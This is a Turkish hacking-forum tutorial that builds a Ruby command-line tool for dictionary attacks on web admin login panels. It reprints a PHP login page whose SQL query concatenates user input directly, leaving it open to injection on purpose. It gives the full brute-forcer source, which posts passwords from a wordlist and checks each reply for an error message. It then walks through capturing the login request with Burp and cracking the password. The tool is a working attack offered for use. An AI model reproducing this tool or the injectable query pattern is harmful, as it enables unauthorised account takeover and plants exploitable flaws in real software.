Merhaba ben saldırı timlerinden Bunjo, geçen konuda admin panel için bypass tekniğini anlatmıştım.Bu konuda ise bir admin panele sözlük saldırısı yapan programı kodlayacağız.
Login Bypass Konusuna Gitmek İçin Bana Tıkla!
Kullanıcının Oluşturulması
Admin Bypass konusunda anlattığım için tekrar tekrar database yazıp kullanıcı eklemeyi burada anlatmıyorum. Diğer konuyu okuyabilirsiniz.
Admin Panel Kodlanması
eski konudan kalma şöyle bir kodumuz vardı:
PHP:
PHP:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
form {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
label {
display: block;
margin-bottom: 8px;
}
input {
width: 100%;
padding: 8px;
margin-bottom: 16px;
box-sizing: border-box;
}
input[type="submit"] {
background-color: #3498db;
color: #fff;
padding: 10px;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #2980b9;
}
</style>
</head>
<body>
<form method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<input type="submit" value="Login" name="login">
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$servername = "localhost";
$dbname = "bunjo";
$db_usr = "root";
$db_pass = "";
$conn = new mysqli($servername, $db_usr, $db_pass, $dbname);
if ($conn->connect_error) {
die("Error:" . $conn->connect_error);
}
$username = $_POST["username"];
$password = $_POST["password"];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "Logged in.";
exit();
} else {
$error = "Invalid username or password.";
echo "<div style='color: red;'>$error</div>";
}
$conn->close();
}
?>
</form>
</body>
</html>
Burada dikkat çekmek istediğim nokta şu: Eğer başarılı bir giriş yapılırsa "Logged in." yazdırılıyor fakat giriş başarılı olmazsa "Invalid useranme or password." yazdırılıyor.
İzleyeceğimiz yol haritası şu olacak. Fark ettiğiniz üzere html kodunda <form method="post" kısmı vardı bu bize kullanıcıdan alınan verinin post metoduyla alındığını ve kullanıcının
veri gönderirken post metodu kullandığını belirtiyor. Bizde bunu kullanarak kullanıcıdan şifre listesi, username, thread sayısı ve bekleme süresi değişkenlerini parser ile alacağız.
girilen thread sayısı aynı anda atılacak istek sayısını belirtecek. Verilen şifre listesini thread sayısı kadar parçalayıp her threade şifre listesini paylaştıracağız ve hepsi ile aynı anda istek attıracağız
sunucu karşımıza herhangi bir engel çıkartırsa da kullanıcıdan aldığımız bekleme süresi kadar istekler arası bekleme süremiz var olacak.
en son olarak kullanıcıdan yapılan post isteğini alacağız burp ile isteği yakalayarak username için nasıl bir istek yapıldığını programa verecek.
programda isteği yapıp dönütte "Invalid useranme or password." görmeyene kadar devam edecek.
kısaca izleyeceğimiz yol bu olacak arkadaşlar.
evet belki size zor gelmiş olabilir bunlar fakat bu konuyu açtığımı gördüyseniz yapmışızdır.
(thread kısmına bu konuda değinmeyeceğim.)
Programın Kodlanma Aşaması
ilk olarak bir sınıfımızı oluşturalım.
Ruby:
#!/usr/bin/ruby
class BruteAdmin
end
şimdi de initialize fonksiyonumuzu ekleyip, kullanacağımız kütüphaneleri aktaralım.
Ruby:
#!/usr/bin/ruby
class BruteAdmin
def initialize
require 'slop'
require 'thread'
require 'httparty'
end
end
Ruby'de sistem kütüphaneleri ile çalışırsanız program kodu karmaşık olur fakat daha iyi çalışır.
Ben herkesin anlayacağı dilden kodlamaya çalıştığım için sistem kütüphanelerinin kolaylaştırılmış alternatiflerini seçiyorum
uzun lafın kısası bağımlılıkları indirmek için:
Rich (BB code):
gem install slop
Rich (BB code):
gem install httparty
evet root kullanıcı değilseniz komut başına sudo ekleyerek çalıştırabilirsiniz.
şimdi ise kullanıcıdan alacağımız veriler için parser yazalım.
parser için fonksiyonumu oluşturuyorum.
Ruby:
#!/usr/bin/ruby
class BruteAdmin
def initialize
require 'slop'
require 'thread'
require 'httparty'
end
def parser
end
end
evet yavaş yavaş her adımı anlatarak gitmeye çalışıyorum.
default olarak değişkenleri bir sözlük (hash) halinde initialize fonksiyonumuza tanımlayalım.
Ruby:
@parameters = {
URL: nil,
USERNAME: "admin",
PASSLIST: nil,
THREADS: 3,
ERR_MSG: nil,
SLEEP: 2,
POST: nil,
}
kullanıcıdan alacağımız url değişkenini alalım
Ruby:
Slop.parse do |slop|
slop.string "-u", "--url", "Set target URL" do |url|
@parameters[:URL] = url
end
end
bu kodda parseri başlatıyorum ve bunu slop değişkenine atıyorum.
daha sonra slop ile bir string veri alacağımı söylüyorum.
"-u", "--url" ile de bu verinin verilebileceğini söylüyorum.
en son olarak gelen veriyi daha önceden tanımladığımız hash içinde URL değişkenine atıyorum.
Ruby:
#!/usr/bin/ruby
class BruteAdmin
def initialize
require 'slop'
require 'thread'
require 'httparty'
@parameters = {
URL: nil,
USERNAME: "admin",
PASSLIST: nil,
THREADS: 3,
ERR_MSG: nil,
SLEEP: 2,
POST: nil,
}
end
def parser
Slop.parser do |slop|
slop.string "-u", "--url", "Set target URL" do |url|
@parameters[:URL] = url
end
end
end
end
diğer kısımlar da bu şekilde geçeceği için onları uzun uzun anlatmıyorum.
diğer alacağımız verilerin parserlerini kodlayalım.
Ruby:
#!/usr/bin/ruby
class BruteAdmin
def initialize
require 'slop'
require 'thread'
require 'httparty'
@parameters = {
URL: nil,
USERNAME: "admin",
PASSLIST: nil,
THREADS: 3,
ERR_MSG: nil,
SLEEP: 2,
POST: nil,
}
end
def parser
Slop.parse do |slop|
slop.string "-u", "--url", "Set target URL" do |url|
@parameters[:URL] = url
end
slop.string "-usr", "--username", "Set username" do |username|
@parameters[:USERNAME] = username
end
slop.string "-w", "--wordlist", "Set wordlist" do |wordlist|
if File.exist?(wordlist)
@parameters[:PASSLIST] = wordlist
else
$stderr.puts("Error: File Not Found. #{wordlist}")
end
end
slop.string "-p", "--post", "Set post request." do |post|
@parameters[:POST] = post
end
slop.integer "-t", "--threads", "Set threads to multi request" do |threads|
@parameters[:THREADS] = threads
end
slop.string "-e", "--error-message", "Set error message" do |err_msg|
@parameters[:ERR_MSG] = err_msg
end
slop.integer "-s", "--sleep", "Set sleep time for per request" do |sleep|
@parameters[:SLEEP] = sleep
end
end
end
end
evet parserlerimiz hazır.
isteğin atıldığı kısım:
Ruby:
def http_req(data)
response = HTTParty.post(@parameters[:URL], body: data)
if response.body.include?(@parameters[:ERR_MSG])
else
puts "Login successful! Password: #{@current_pass}"
exit(0)
end
end
benim ruby konularımı okuyan birisi zaten bu kodu rahatlıkla anlar.
fonksiyona verilen veri post isteği ile atılıyor ve kullanıcının verdiği hata mesajı eğer varsa bir şey yapılmıyor. Yoksa şifre bulundu diyor ekrana yazdırıp
program kapatılıyor.
veriyi de:
Ruby:
def post_parser(password)
@current_pass = password
data = @parameters[:POST].split(":")
payload = {
data[0] => @parameters[:USERNAME],
data[1] => password,
data[2] => 'Login'
}
http_req(payload)
end
bu kısımdan istek fonksiyonuna yolluyoruz.
-p username: password:login şeklinde verileceği için : gördüğü her yeri ayırıyor ve data olarak bakın ekliyor
data 0 olan username
data 1 olan şifre
data 2 olan login butonu
verilen post isteği burada ayrıştırılıyor.
şimdi de wordlisti okutup programa teker yollayacağız.
starter isimli bir fonksiyon oluşturuyorm.
Ruby:
def starter
File.open(@parameters[:PASSLIST], "r") do |file|
lines = file.readlines().map(&:chomp)
lines.each do |line|
post_parser(line)
end
end
end
her satırı teker teker okutup fonksiyona gönderiyorum.
en son olarak da sınıfımızı başlatalım.
Ruby:
cracker_app = BruteAdmin.new()
cracker_app.parser()
cracker_app.starter()
Tüm Kod:
Ruby:
#!/usr/bin/ruby
class BruteAdmin
def initialize
require 'slop'
require 'thread'
require 'httparty'
@parameters = {
URL: nil,
USERNAME: "admin",
PASSLIST: nil,
THREADS: 3,
ERR_MSG: nil,
SLEEP: 2,
POST: nil,
}
end
def http_req(data)
response = HTTParty.post(@parameters[:URL], body: data)
if response.body.include?(@parameters[:ERR_MSG])
else
puts "Login successful! Password: #{@current_pass}"
end
end
def post_parser(password)
@current_pass = password
data = @parameters[:POST].split(":")
payload = {
data[0] => @parameters[:USERNAME],
data[1] => password,
data[2] => 'Login'
}
http_req(payload)
end
def starter
File.open(@parameters[:PASSLIST], "r") do |file|
lines = file.readlines().map(&:chomp)
lines.each do |line|
post_parser(line)
end
end
end
def parser
Slop.parse do |slop|
slop.string "-u", "--url", "Set target URL" do |url|
@parameters[:URL] = url
end
slop.string "-usr", "--username", "Set username" do |username|
@parameters[:USERNAME] = username
end
slop.string "-w", "--wordlist", "Set wordlist" do |wordlist|
if File.exist?(wordlist)
@parameters[:PASSLIST] = wordlist
else
$stderr.puts("Error: File Not Found. #{wordlist}")
end
end
slop.string "-p", "--post", "Set post request." do |post|
@parameters[:POST] = post
end
slop.integer "-t", "--threads", "Set threads to multi request" do |threads|
@parameters[:THREADS] = threads
end
slop.string "-e", "--error-message", "Set error message" do |err_msg|
@parameters[:ERR_MSG] = err_msg
end
slop.integer "-s", "--sleep", "Set sleep time for per request" do |sleep|
@parameters[:SLEEP] = sleep
end
end
end
end
cracker_app = BruteAdmin.new()
cracker_app.parser()
cracker_app.starter()
Saldırının Yapılması
Bu kısımda yazdığımız aracı kullanarak saldırıyı gerçekleştirceğiz.
hedefte admin paneli bulmaya çalışıyorum.
admin.php olarak buluyoruz.
saldırıyı bu foruma yapacağız.
Burp ile araya girip rasgiden post isteğini düşürüyorum.
username password login şeklinde 3 tane post gidiyor.
şimdi bir hata mesajı almaya çalışıyorum.
evet bu bana yanlış şifre veya kullanıcı adı girilince gelen çıktının
Invalid username or password.
olduğunu gösteriyor.
programımı açıyorum.
-u parametresi ile login sayfamı veriyorum.
-usr admin
yazarak admin kullanıcısına saldırı yapacağımı söylüyorum
-e ile alınan hata mesajını veriyorum.
şimdi de kullanacağım şifre listesini veriyorum.
burp suite ile düşürdüğüm postları : ile ayırarak veriyorum.
Evet şifreyi kırdık şifre 12345 olarak bulundu
Siz kendi programınız daha da geliştirebilirsiniz, ben kendi sitemde çalışan örnek bir program yazdım.
okuyan herkese teşekkür ederim.